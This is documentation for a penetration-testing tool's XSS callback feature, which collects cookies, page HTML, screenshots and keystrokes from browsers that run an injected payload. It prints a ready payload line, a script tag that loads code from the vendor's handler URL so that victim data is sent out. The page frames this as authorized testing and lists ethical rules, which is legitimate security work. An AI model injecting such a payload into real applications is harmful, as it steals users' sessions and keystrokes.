Skip to main content

Overview

XSS Exploiter provides callback endpoints that capture data when XSS payloads execute in victim browsers. Use it to validate XSS impact by collecting cookies, screenshots, keystrokes, and page content. This feature is sometimes referred to as XSS Handlers in older documentation. XSS Exploiter is an exploit helper tool: it receives callbacks from injected payloads to prove XSS exploitation. It does not add data to your Attack Surface and does not generate findings. Captured data is displayed in a custom report.

How it works

1

Create a handler

Configure what data to capture and get a unique handler ID.
2

Generate payload

Use the provided JavaScript payload containing your handler URL.
3

Inject payload

Insert the payload into a vulnerable application.
4

Capture callbacks

When a victim’s browser executes the payload, data is sent to your handler.
5

Review results

View captured data in the handler’s report.

Creating a handler

When creating a handler, configure what data to capture:
OptionDescription
LabelUnique identifier for the handler (alphanumeric, dashes, underscores, dots)
Get cookiesCapture document.cookie from the victim’s browser
Get HTML contentCapture the full HTML of the page where the payload executed
Get page screenshotCapture a visual screenshot of the page using html2canvas
Get keystrokesLog keystrokes on the page after payload execution
Enable only the options you need. Capturing screenshots increases payload size and may be blocked by some Content Security Policies.

Payload format

After creating a handler, you receive a JavaScript payload to inject:
<script src='https://app.pentest-tools.com/xss-payload/YOUR_HANDLER_ID/'></script>
The payload automatically:
  • Sends selected data to your handler
  • Works across different browsers
  • Handles CORS via the script tag injection method

Captured data

For each callback received, the handler captures:
DataDescription
CookiesBrowser cookies accessible via JavaScript (if enabled)
URLThe full URL where the payload executed
Page screenshotVisual capture of the page (if enabled)
KeystrokesKeys typed after payload execution (if enabled)
User AgentVictim’s browser user agent string
TimestampDate and time of the callback
IP AddressSource IP of the callback request

Handler limits

LimitValue
Active duration60 days from creation
Data entries per handler500 callbacks maximum
Handlers per user300 maximum
Handlers automatically expire after 60 days. Create a new handler if you need to continue testing.
XSS Exploiter can capture real data from victim browsers. Handle captured cookies and session data responsibly and delete after testing concludes.

Ethical considerations

  • Only test applications you have authorization to assess
  • Minimize data capture, collect only what’s needed to prove the vulnerability
  • Delete captured data after the engagement
  • Do not use captured session tokens to access victim accounts beyond demonstration
  • Report findings responsibly to the application owner

Follow-up actions

After capturing XSS callbacks:
  • Document the finding: Include captured data (sanitized) in your security report
  • Assess cookie scope: Check if captured cookies grant access to sensitive functionality
  • Test other injection points: Use Website Scanner to find additional XSS vulnerabilities
  • Check for stored XSS: Verify if the payload persists and affects other users
  • Review CSP: Analyze Content Security Policy headers that could mitigate XSS